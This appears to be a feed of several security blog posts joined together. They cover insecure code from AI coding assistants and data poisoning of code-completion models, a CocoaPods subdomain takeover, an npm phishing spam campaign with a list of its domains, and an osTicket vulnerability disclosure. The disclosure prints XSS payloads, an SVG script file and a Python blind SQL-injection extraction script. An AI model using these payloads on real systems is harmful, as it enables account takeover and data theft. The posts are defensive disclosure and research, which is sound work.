Tabnine, GitHub Copilot, Amazon CodeWhisperer, and other AI assistants are starting to be integrated into developers coding environments to help and increase their speed of writing code. GitHub Copilot, described as your “AI pair programmer”, is a language model trained over open-source GitHub code. The data in which it was trained on, open-source code, usually contains bugs that can develop into vulnerabilities. And given this vast quantity of unvetted code, it is certain that Copilot has learned from exploitable code. That is the conclusion that some researchers reached, and according to their paper that created different scenarios based on a subset of MITRE’s CWEs, 40% of the code generated by Copilot was vulnerable.[2]

Figure 1- Creating a profile page with PHP

In the GitHub Copilot FAQ, it stated that “you should always use GitHub Copilot together with good testing and code review practices and security tools, as well as your own judgment.” Tabine makes no such statement but CodeWhisperer states that it “empowers developers to responsibly use artificial intelligence (AI) to create syntactically correct and secure applications.” It is a bold statement that in reality is not true. I tested the CodeWhisperer in the Python Lambda function console, and the results were not promising. Figure 2 is an example of CodeWhisperer generating code for a simple Lambda function that reads and returns a file contents. The issue in the code is that it is vulnerable to Path Traversal attacks.

Figure 2- Creating a Lambda Function to read and return a file content

Taking a step back, these AI assistants need data to be trained on, and they need to understand the context in which the code is being inserted on. The data that is used to train the models, in most cases it’s open-source code, which as was stated before, and most of the time, contains vulnerable code. Figure 3,  Figure 4, and Figure 5 represent some examples of public repositories with vulnerabilities that were already found but no fix was applied. In addition, there is another factor that we need to take into consideration—supply chain attacks. What happens if attackers can compromise the model? Are these assistants also vulnerable to attacks? Theoretically, by creating a significant number of repositories with vulnerable code, a malicious actor may be able to taint the model into suggesting vulnerable code, since “GitHub Copilot is trained on all languages that appear in public repositories.”

Figure 3 – Four vulnerability issues in yf-exam repo
Figure 4 – Path Traversal in Dice repo
Figure 5 – Unsafe deserialization in Serving repo

In the “You Autocomplete Me: Poisoning Vulnerabilities in Neural Code Completion” paper, researchers demonstrated that natural-language models are vulnerable to model and data poisoning attacks. These attacks “trick the model into confidently suggesting insecure choices in security-critical contexts.” The researchers also present a new class of “targeted poisoning attacks” to affect certain code completion model users.[3]

These attacks, combined with supply chain attacks, may enable malicious actors to devise a set of targeted attacks to affect the models into suggesting vulnerable contexts. And these contexts do not need to be an SQLi, they can be subtle code logic that may enable authentication/authorization bypasses for example.

The elephant in the room, ChatGPT

ChatGPT is the chatbot that everyone is talking about and is considered to be the “next big thing” by a large amount of people. It uses a model trained with Reinforcement Learning from Human Feedback (RLHF) – “human AI trainers provided conversations in which they played both sides—the user and an AI assistant.” [4] According to a Forbes article, “On the topic of ChatGPT3, he [Yann] essentially said that ChatGPT is ‘not particularly innovative,’ and ‘nothing revolutionary’. Yes, it will provide information that over time as it will be incredibly accurate as it will be cleansed more, misinformation will be extracted, but it will never have any common sense in being able to look ahead and easily recognize multiple sensory patterns.“[5]

Nonetheless, the chatbot rocked the tech world with its ability to produce code by only asking for it, solve certification exams, or provide insights on security topics. It generated a state of panic everywhere, but should we really be worried? We should be worried, not because of its abilities, but more of its inabilities. ChatGPT is able to write code, but not secure code. I asked the bot to generate a simple application in three different languages and analyzed the results.

The Old School Language

Although the C language is not as popular as other languages, it still is the language that allows developers to create anything. It only takes some patience and time. So why not start looking for examples in the C language? For example, I asked the chatbot to create a simple C application that reads an input from the console and prints it.

While the code generated is pretty simple, the code it generated is vulnerable to a buffer overflow in the scanf. In the scanf documentation, “the input string stops at white space or at the maximum field width, whichever occurs first.” Since there is no maximum defined, it will read until it finds a white space.

Maybe if we ask ChatGPT if the code is vulnerable, it is able to spot the buffer overflow?

It does recognize that the scanf is vulnerable to a buffer overflow, but what if we ask it if the code is vulnerable to string format attacks?

Using the same C code that it was generated, ChatGPT answers with confidence that the code is vulnerable. A total miss, the code is not vulnerable to string format attacks. It looks like the bot is trying to agree with us, and only after telling it that the printf has the %s format specified, the bot admits the mistake.

The Hip Language

What about code in the language that everyone knows about and there is a lot of content about it, Python? I asked it to create a Flask app that provides the ability to upload and download files.

The code looks correct, and it runs, but in the upload endpoint, there is a Path Traversal vulnerability. The debug is also on, and an insecure configuration that we can consider as normal is evident since the app is in the “initial stages”, but ChatGPT does not warn about the potential dangers of leaving it on.

And is the bot able to spot the vulnerability and the security misconfiguration?

Now it does warn about the debug, and then it says that there is a vulnerability about the contents of the files. Although it is true that it is dangerous, it cannot be considered as a vulnerability, since it is a weakness in the code. It would be a vulnerability if the file was processed.

Nonetheless, it completely missed the Path Traversal, probably because the path.join looks secure, but it is not.

The Disliked Language

Maybe, generating safe code for the language that was, and probably still is, the backbone of the Internet will be easier. Maybe?

I asked ChatGPT to create a PHP app that logs in a user against a database and redirects to a profile page.

To no surprise, it also generates vulnerable code. There is a SQL injection and XSS vulnerabilities in the PHP code. Instead of asking if the generated code was vulnerable, I asked if the first piece of code is vulnerable to Server Side Template Injection (SSTI).

For some reason, ChatGPT answers that the code is indeed vulnerable to SSTI. Why is that? The answer explains in detail the SQL injection vulnerabilities, but confuses it with SSTI. From my perspective, and without knowing the full details of the model, I assume that it was taught the wrong information, or by itself inferred incorrect information. So, it is possible to train the ChatGPT model with incorrect information, and since we can construct a thread and feed it knowledge, what happens if a significant number of people feed it with malicious content?

Final thoughts

A New Yorker article describes ChatGPT as a “Blurry JPEG of the Web” [6], which for me is a spot-on description. These models do not hold all the information about a specific programming language or most of the time cannot insert something in a context. And for that reason, even if the code looks correct or does not present any “visible” vulnerabilities, does not mean that when inserted in a specific context, it will not create a vulnerable path.

We cannot deny that this technology represents a huge advancement, but it still has flaws. AI is developed and trained by humans, as such is it not a loophole where we are feeding the models with human mistakes or malicious content? And with the increase in supply chain attacks and misinformation, the information that is used to train the models may be tainted.

When it comes to generating or analyzing code, I would not trust them to be correct. Sometimes it does work but it is not 100% accurate. Some of the assistants mention possible limitations, however these limitations cannot be quantified. Source code analysis solutions that use GPT-3 model are appearing, https://hacker-ai.online/, but they too share the same limitations/problems that ChatGPT has.

AI assistants are not perfect, and it is still necessary to have code review activities and AppSec tools (SAST, SCA, etc.) to help increase the application’s security. Developers should be aware of that and not lose their critical thinking. Copy-paste everything that the assistants generate can still bring security problems. AI in coding is not a panacea.

References

[1] https://securityintelligence.com/from-waterfall-to-secdevops-the-evolution-of-security-philosophy/

[2] https://arxiv.org/pdf/2108.09293.pdf

[3] https://arxiv.org/pdf/2007.02220.pdf

[4] https://openai.com/blog/chatgpt/

[5] https://www.forbes.com/sites/cindygordon/2023/01/27/why-yann-lecun-is-an-ai-godfather-and-why-chatgpt3-is-not-revolutionary/?sh=32a235087a64

[6] https://www.newyorker.com/tech/annals-of-technology/chatgpt-is-a-blurry-jpeg-of-the-web

]]>
CocoaPods Subdomain Hijacked: This is How https://checkmarx.com/blog/cocoapods-subdomain-hijacked-this-is-how/ Thu, 02 Mar 2023 15:00:00 +0000 https://checkmarx.com/?p=81937 CocoaPods is THE dependency manager for iOS and Mac projects. It helps software developers easily add pre-made pieces of code (called “libraries” or “dependencies”) to their iOS or Mac projects. These code libraries can help developers add extra features or functionality to their apps without having to write all of the code themselves. Think of it like adding pre-made Lego pieces to a Lego creation to make it better or more interesting.

Subdomain Hijacking

Subdomain hijacking is a type of cyber attack where an attacker takes control of a subdomain of a legitimate domain, and uses it to host malicious content or launch further attacks.

In a subdomain hijacking attack, the attacker can find forgotten settings on free hosting websites such as GitHub Pages, which are not mapped anymore. The weak validation grants attackers permission to use those subdomains.

CocoaPods Casino

Guy Nachshon, a brilliant security researcher in my team, found out the subdomain cdn2.cocoapods.org was used years ago and abandoned. However, the DNS records still pointed to the GitHub Pages hosting service, and attackers hijacked it to host a fishy casino website.

While we were investigating this, the subdomain got freed on GitHub Pages (probably due to an update/mistake of the attackers).

We jumped on the opportunity and created a simple repository to hold this subdomain and prevent another takeover by those casino attackers.

This works as long as the subdomain is unoccupied by another GitHub Pages project and is super simple to set up -> settings, enable GitHub Pages, type the subdomain “cdn2.cocoapods.org”:

Watch this short demo video to see it in action:

Impact

Generally speaking, the impact of hijacking a subdomain of a known website can trick users into thinking the content they are seeing is legitimate and created by the known brand.

Furthermore, organizations usually allow network traffic to such dev-related legitimate resources from sensitive networks to support the engineering process.

Last year, we saw cases in which attackers hosted malicious exe file on GitHub and another example where an image hosted on imgur.com contained malicious python code. Hence, it’s quite clear what’s the potential of hijacking a subdomain of a popular and legitimate brand.

Conclusion

I disclosed the findings to CocoaPods in this GitHub issue, and huge respect for the fast response and removing the subdomain record.

It’s ridiculous how easy it is to take over an abandoned subdomain. This made me wonder – should this be that easy? Should GitHub enforce 2-way validation when linking a domain to a GitHub Pages project? Like validating the exact repository URL? IMHO – yes.

See this case as a warning if you have created subdomain records for side-projects that over time became obsolete, like cdn2.cocoapods.org. I suggest removing them, as someone might hijack your subdomain.

]]>
CocoaPods Subdomain Hijacked: This is How - Checkmarx.com In a subdomain hijacking attack, the attacker can find forgotten settings on free hosting websites such as GitHub Pages, which are not mapped anymore. The weak validation grants attackers permission to use those subdomains. Application Security Testing,AppSec,article,Developer,English,Open Source Security,Supply Chain Security
How NPM Packages Were Used to Spread Phishing Links https://checkmarx.com/blog/how-npm-packages-were-used-to-spread-phishing-links/ Tue, 21 Feb 2023 18:28:45 +0000 https://checkmarx.com/?p=81849

Unveiling the Latest NPM Ecosystem Threat: Thousands of SPAM Packages Flood the Network, A New Discovery by Checkmarx

What Happened?

  • A sudden surge of thousands of SPAM packages were uploaded to the NPM open-source ecosystem from multiple user accounts within hours.
  • Further investigation uncovered a recurring attack method, in which cyber attackers utilize spamming techniques to flood the open-source ecosystem with packages that include links to phishing campaigns in their README.md files.
  • The packages were created using automated processes, with project descriptions and auto-generated names that closely resembled one another.
  • The Attackers referred to retail websites using referral IDs, thus profiting from the referral rewards they earned.
  • The packages appeared to contain the very same automation code used to generate these packages, probably uploaded by mistake by the attacker.
  • As first recognized in this tweet by Jesse Mitchell, the generating scripts also include valid credentials used by the attacker in the attack flow.

NPM Anomalies

Our technology collects and indexes evidence related to packages from all open-source ecosystems, allowing us to query historical data for new insights.

On Monday, 20th of February, Checkmarx Labs discovered an anomaly in the NPM ecosystem when we cross-referenced new information with our databases. Clusters of packages had been published in large quantities to the NPM package manager. Further investigation revealed that the packages were part of a trending new attack vector, with attackers spamming the open-source ecosystem with packages containing links to phishing campaigns. We reported on a similar attack last December.

In this situation, it seems that automated processes were used to create over 15,000 packages in NPM and related user accounts. The descriptions for these packages contained links to phishing campaigns. Our team alerted the NPM security team.

Phishing Sites in Package Description

The attackers used a large number of packages with names related to hacking, cheats, and free resources to promote their phishing campaign. Some of the package names included “free-tiktok-followers,” “free-xbox-codes,” and “instagram-followers-free”. These names were designed to lure users into downloading the packages and clicking on the links to the phishing sites.

The descriptions of all the packages we found contained links to phishing sites.

The messages in these packages attempt to entice readers into clicking links with promises of game cheats, free resources, and increased followers and likes on social media platforms like TikTok and Instagram.

The phishing campaign linked to many unique URLs across many domains, with each domain hosting multiple phishing webpages under different paths. The deceptive webpages are well-designed and, in some cases, even include fake interactive chats that appear to show users receiving the game cheats or followers they were promised.

These chats will even respond to messages if the reader chooses to participate, but these are all automated and fabricated. This highlights the need for caution when interacting with links in packages and the importance of only using trusted sources.

The websites included built-in fake flow that pretended to process data and generate the promised “gifts.” However, this process most of the time failed, and the victim was then asked to enter a “human verification” phase that involved multiple sites referring the user from one to another. These sites included surveys that asked the user to respond to various questions, leading to additional surveys or eventually to legitimate eCommerce websites. This shows the importance of being cautious when interacting with links in packages and only using trusted sources.

Referrals Rewards

While investigating the phishing websites, we noticed that some of them redirected to eCommerce websites with referral IDs. For example, one of our experiments resulted in being redirected to AliExpress, one of the world’s largest online retail platforms. Like many other retail websites, AliExpress offers a referral program that rewards members for referring new customers to the platform. If the threat actors refer their victims to AliExpress and they make a purchase, the threat actors’ account will receive a referral reward in the form of a coupon or store credit. This highlights the potential financial gain for threat actors who engage in phishing campaigns like this one.

Did the Attacker make a mistake?

Throughout many of the packages we found similar python scripts with similar functions that seemed to be the ones automatically generating and publishing the spam packages. Other than that, we found other “helper.txt” files that seemed to also be a part of the automated mechanism. The most interesting file is a python script within the NPM packages that includes all steps of the package publication.

The flow of the Python script are as follows:

  • Defines folder paths containing configuration files.
  • In some cases defines a list of website URLs and their login credentials (which later uses to publish there the link of the uploaded package).
  • Loops through the folder paths and read configuration files to get a domain name and keyword.
  • Generates random titles and descriptions using the configuration files.
  • Generates a random link for new content using the title along with a random number.
  • Creates the following files: index.js, package.json, and README.md based on templates and modifies them to include the new link and titles.
  • Uploads the new package to NPM using the npm publish command.
  • Checks if the upload was successful and writes the URL to a file.

Generating random content for new NPM packages

Generating package files and publishing to NPM

After completing the publication of all packages in the current batch, the attacker goes on to the last automated task.

From what we see thus far, the attacker created or at least has access to several news-like websites in which they can publish content.

The last task in the python scripts is appending links to unrelated posts in these new-like websites. These links direct to the webpages of the packages they published on NPM’s website.

To do that, the attacker uses the “selenium” python package to interact with these wordpress websites. First, they need to authenticate as an editor, and only then continue to post the package’s links.

We believe uploading these PyPi scripts wen’t done intentionally by the attacker. A significant sign is that the scripts include the credentials used to authenticate with the WordPress websites, as was first recognized in this tweet by Jesse Mitchell.

Conclusion

These attackers invested in automation in order to poison the entire NPM ecosystem with over 15,000 packages. This allowed them to publish a large number of packages in a short period of time, making it difficult for the different security teams to identify and remove the packages quickly. The attackers also created many user accounts, making it difficult to trace the source of the attack. This shows the sophistication and determination of these attackers, who were willing to invest significant resources in order to carry out this campaign. Interestingly, it appears that this is the same attacker as a previous spam attack we detected last December.

The battle against threat actors poisoning our software supply chain ecosystem continues to be a challenging one, as attackers constantly adapt and surprise the industry with new and unexpected techniques.

By working together, we can stay one step ahead of attackers and keep the ecosystem safe. We believe this kind of collaboration is crucial in the fight against software supply chain attacks, and we will continue working together to help protect the open-source ecosystem.

List of Packages

The scale of this phishing campaign is significant, and you are welcome to download the full dataset hosted on GitHub Gist

https://gist.github.com/masteryoda101/a3f3500648f7e6da7bf89b3fb210e839

This will allow you to further analyze the data and gain a better understanding of the scope and nature of the attack.

If you would like access to the original metadata or samples from this phishing campaign, please feel free to send an email to supplychainsecurity@checkmarx.com. Our team will be happy to provide you with the information you need.

IOC

In total, we analyzed over 190 unique URLs (click to get the full list), which we were able to reduce to approximately 31 domains.

betapps[.]club

stumblegems[.]site

tubemate[.]vip

followersfree[.]store

apostasesportiva[.]info

sahel-digital-art[.]org

xapk[.]online

dailyspins[.]store

press-citizen-media[.]com

rebrand[.]ly

t[.]co

shahidvip[.]com

newjesuitreview[.]org

nbadeadlines[.]com

fundacionsuma[.]org

nftscollection[.]online

legalcoins[.]vip

canva-pro-free-accounts[.]

blogspot[.]com

trendcoffee[.]cc

journaldogs[.]com

free4free[.]monster

redapk[.]xyz

elavil[.]store

hiromi-haneda[.]com

claptonfc[.]info

coolhack[.]us

generators[.]searchbuzz[.]co

baby-ace[.]net

crestor[.]store

nfljerseys[.]fun

]]>
Securing Open-Source Solutions: A Study of osTicket Vulnerabilities https://checkmarx.com/blog/securing-open-source-solutions-a-study-of-osticket-vulnerabilities/ Tue, 14 Feb 2023 15:48:44 +0000 https://checkmarx.com/?p=81721 Nowadays, there are open-source solutions for every type of need. From accounting to CMS (Content Management System) applications, we can search for an application on the Internet that offers a solution to a specific issue or answers a need. Although, most of the time, it will be easier/faster than reinventing the wheel, using open-source applications might create some challenges. Security is one of those challenges, and zero-day vulnerabilities might put open-source users at risk.

With that in mind, one of the activities performed by Checkmarx Labs is to search for security issues in open-source applications. The goal is to help secure open-source software which, usually, is not developed with a security-first approach, and is used by a community that often does not have the means to secure the open-source software.

One of the applications assessed was osTicket, an open-source ticketing system. With distinctive features and plugins, osTicket gives users the ability to “Manage, organize, and archive all your support requests and responses (…).” During our assessment, the Checkmarx Labs team found some interesting vulnerabilities. In this blog/report, not only will we disclose some of the identified vulnerabilities but also elaborate on the team’s approach to identifying them.

Research Lab

The process that we follow, from creating a testing instance with the open-source application to finding the vulnerabilities, includes several steps. One of the first steps is to perform a static analysis scan (SAST) of the project, which will scan the code and find data flows that could lead to possible vulnerabilities. The use of this method often increases the number of issues found and is very useful when conducting these assessments. To validate the exploitability of the scan findings, we create a virtual machine (VM) and install the application in order to have a local testing environment for further testing. This way, we can confirm the existence of vulnerabilities and widen the assessment scope by performing a full penetration test, using both manual and automatic methodologies.

Methodology

After finalizing the first steps, we analyze scan results and identify the flows that lead to identified vulnerabilities. Although the scan simplifies the process, we also need to understand the application source code to find the “vulnerability entry point” (the input), and the flows that can be exploited. For example, during the analysis of the results, we identified some strange code injection results ending at “variable variables” [1]. This meant that user input controlled the variable name, and although this is not uncommon, it is a dangerous behavior—especially when user input is used.

Figure 1 – Variable $sort, from the GET parameter, controlling the initial part of the variable name $x

In this case, the string “_sort” was added to the variable before its usage. We could not find any interesting variable name with that pattern. So, while the code is potentially weak to overwriting arbitrary variables, they would have to end in “_sort”. This means the code does have a weakness but is not exploitable in a meaningful way.

There were a few different SAST results on this matter, and we decided to look further:

Figure 2 – Request parameter concatenated to a raw HTML string at a user-controlled variable

At the directory.inc.php file, the $_REQUEST parameter was added directly to this string which appeared to be an HTML string, and yes, it was being used in multiple table headers. And of course, it would not be so simple.

We discovered that osTicket had a custom HTML sanitization method that was applied in many other HTML inputs, and it was not a very standard method for sanitizing input:

Figure 3 – Request parameters filtered before usage in directory.inc.php

This is an example piece of their sanitization method:

Figure 4 – A fraction of the Format: sanitize blacklist function

Although this method has some complexity, blacklisting specific strings and focusing on sanitizing HTML tags is not an effective way to sanitize the input, since it is difficult to be aware of every possible context and special characters that can be used to build an exploit.

After this analysis, we tried the only thing left, which was to confirm the vulnerability (in a local testing environment) explained in the Reflected XSS, CVE-2022-32132 section below.

To confirm the vulnerabilities existence in the application, we created our own environment by setting up the application in a VM, and then perform the dynamic tests. With this environment, we not only confirmed the results found, but we could also find different vulnerabilities that are easier to find with our dynamic testing approach.

Findings

Reflected XSS, CVE-2022-32132

A Reflected XSS [2] was found in osTicket, allowing an attacker to inject malicious JavaScript into a browser’s DOM, which could enable attackers to hijack user sessions, perform actions on a user’s behalf within that user’s session context, and more.

After the analysis described in the Methodology, we validated that the vulnerability does exist in the application. Our first goal was to understand and escape the sanitizer. Sure enough, some special characters allowed us to discover this Reflected XSS vulnerability in the ‘directory’ URL, which is available by default in every osTicket installation. The blacklist was prepared to block user input from escaping HTML tags or even create dangerous tags like <script>, but on this specific scenario, the input was added to an attribute, and it allowed escaping from attributes. One of the obvious payloads was using the onmouseover attribute, which runs its value as JavaScript when the mouse moves over the component.

Figure 5 – XSS payload executed

Figure 6 – Source page code with the XSS payload

There are some things that can be done to increase the value (or risk) of this vulnerability, and the first thing is to make it easier for the victim to be attacked. An easy way of achieving this is to also inject the style attribute of the vulnerable HTML tag in order to make it the size of the screen, being almost inevitable for the victim to visit the URL and trigger the payload.

/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert(1)%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name

Another thing that can be done is to leverage this vulnerability by using other weaknesses. We found two cases that can be abused for that purpose:

  • A stored HTML injection in the “notes” section can be abused to have a permanent attack vector inside the application that redirects the user to the Reflected XSS, making it in practice, a stored XSS.
  • A CSRF in the “change password” functionality can be used as a payload for the XSS, allowing an attacker to change the user password of the victim.

As the directory.php page is in an admin panel, these steps could leverage this vulnerability from a simple Reflected XSS to a Stored XSS capable of full admin account takeover without the need of any installed plugins.

Reflected XSS, CVE-2022-31889

In the Audit plugin, we found two Reflected XSS results where user input from the type or state parameters was inserted into the HTML without being sanitized. The fix adds the missing sanitization for these inputs. A similar procedure to the one presented in the Methodology section, was taken when analyzing the plugins results.

After the analysis, and confirmation that it was a True Positive, we validated that it was indeed vulnerable to XSS. Looking at the code in which the vulnerability occurs, we can see how easily it can be exploited:

Figure 7 – type variable insert in the HTML without sanitization

The input from the type and state parameters is inserted into the “a” tag without any sanitization. We can just close the href quote and the tag (>) and insert a simple script tag.

Figure 8 – XSS payload executed

Figure 9 – Source page code with the XSS payload

SQL injection, CVE-2022-31890

In the same plugin (Audit), we came across a SQL Injection result where user input from the order parameter was inserted into a SQL query without proper sanitization. Looking at the fix, there was a condition in the if statement in the old code that verified if the order query parameter existed in the orderWay array. The problem is that this array was not defined, so PHP will issue a Notice and the if condition will always be false. The correction involved adding the missing array and changing some of the sanitization logic for the order variable.

Figure 10 – order_by variable concatenated directly into SQL query

After confirming that the flow was indeed vulnerable, a Proof-of-Concept was created to demonstrate the real impact, as shown in Figure 13. By exploiting the SQL injection vulnerability, an attacker could obtain passwords hashes, PII, and access privilege information. The fact that the injection is after an ORDER BY makes the possible injection limited. A SQL injection after the ORDER BY clause is different from other cases (after a WHERE clause for example) because the database does not accept UNION, WHERE, OR, or AND keywords. It is possible to have nested queries, and we can also have multiple queries if we use a semicolon, but this is only possible if the method that executes the queries allows multiple queries execution. In this case, the method that executes the queries does not allow multiple queries. Nonetheless, a blind time-based injection is possible, allowing data extraction from the database.

Example of a regular request:

Figure 11 – Normal request to the audits.php page

Sleep injection:

Figure 12 – Sleep injection result in the audits.php page

With this knowledge, we can create a script that allows data extraction that triggers a sleep when a particular condition is met, like a specific character in the user’s table that matches one provided by us.

import requests
import urllib
import string
HOSTNAME = 'http://localhost'
cookie = {'OSTSESSID': '...'}
headers = {'User-Agent': '...'}
alphabet = string.ascii_lowercase + string.digits + '-_!'
position = 1
offset = 0
for letter in alphabet:
    payload = "(select case when ((select substring(username," + str(position) + ",1) from os_staff LIMIT 1 OFFSET " + str(offset) + ")='" + letter + "') then sleep(0.3) else 1 end);"
    result = requests.get(HOSTNAME + '/scp/audits.php?&type=S&state=All&order=ASC,' + urllib.parse.quote(payload) +'--&sort=timestamp&_pjax=%23pjax-container', cookies=cookie, headers=headers)
    if result.elapsed.total_seconds() > 2:
        print(letter)
        break

Figure 13 – Python script that obtains the first username character of the first os_staff table entry

Session fixation, CVE-2022-31888

SAST tools increases the number of security issues that can be found, and yet code analysis is not enough when trying to find all kinds of problems. For example, we found a session fixation issue while interacting with the application that, with code review, is difficult to notice.

Due to the nature of the problem, detecting that a new session is generated and the old one is terminated in the correct place is complex to detect. Most of the time, a clear understanding of the code base is required to spot a session fixation issue, but this can also be applied to other types of vulnerabilities that can be chained together and create a higher risk. Dynamic testing is also necessary if we want to find other types of vulnerabilities, or vulnerabilities that trigger only in specific situations.

In this case, the application provides two login pages, one for the admin panel and another for the user portal. While testing both interfaces, the existing session cookie (used in both interfaces) is not invalidated after a login.

We found this vulnerability while fuzzing the login pages. When a login is successful, the server should invalidate the previous session and create a new one by sending it in the Set-Cookie header. This did not happen, and it was also possible to define our own session.

Figure 14 – Set-Cookie with controlled cookie

Figure 15 – Session cookie controlled

If an attacker can access or control the session value before authentication, an authenticating user would be authenticating a session known to the attacker, who would then hijack it.

Stored XSS, CVE-2022-32074

While dynamically analyzing the Filesystem Storage plugin, we came across two issues:

1 – It’s possible to browse directly to the root of the file upload directory (in this example, the name chosen for the folder is file_uploads). With this, a directory listing is possible, as shown below.

Figure 16 – File uploads directory content

2 – Images accessible via this storage do not properly neutralize SVG files, which can contain XSS payloads. For example, uploading the following XML inside a JPG file will serve its contents as SVG.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="200" height="200" style="fill:rgb(0,255,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("Stored XSS!!");
   </script>
</svg>

By exploiting these two issues, we were able to find a Stored XSS.

Figure 17 – XSS payload executed after accessing the image

Conclusion

While the injection vulnerabilities such as SQLi and XSS are some of the security issues with more widespread knowledge and mitigation techniques, they are still at the top of vulnerabilities found. According to an Akamai report “the top three web application attacks were LFI (38%), SQLi (34%), and XSS (24%).”

These issues mainly arise because developers do not take into consideration that all data should be sanitized. Whether coming from user input or a database, the data should always be sanitized. There are also cases where custom sanitizers are implemented, and what happens is that developers’ implementation does not consider all cases. As a result, attackers can find ways to bypass the sanitizer [3].

OWASP provides a Cheat Sheet series that developers can use to understand the vulnerabilities and how to prevent them [4] [5].

The research was conducted in testing environments, and no production systems were used to test or exploit the previously mentioned vulnerabilities.

Timeline

  • April 20, 2022 – Full vulnerabilities report shared with osTicket team.
    • osTicket team acknowledged receipt.
  • May 19, 2022 – Fix released.
  • June 22, 2022 – CVE-2022-31888, CVE-2022-31889, CVE-2022-31890 assigned.
  • July 13, 2022 – CVE-2022- 32074 assigned.
  • July 21, 2022 – CVE-2022-32132 assigned.
  • February 14, 2023 – Public disclosure

Final Words

It was a pleasure working with osTicket’s security team. Their professionalism and cooperation, as well as the prompt ownership they took, are what we hope for when we engage with software companies. Kudos!

This type of research activity is part of the Checkmarx Security Research Team’s ongoing efforts to drive the necessary changes in software security practices among organizations who offer online services in an effort to improve security for everyone overall.

References

[1] https://www.php.net/manual/en/language.variables.variable.php

[2] https://portswigger.net/web-security/cross-site-scripting/reflected

[3] https://owasp.org/www-community/Injection_Theory

[4] https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

[5] https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

]]>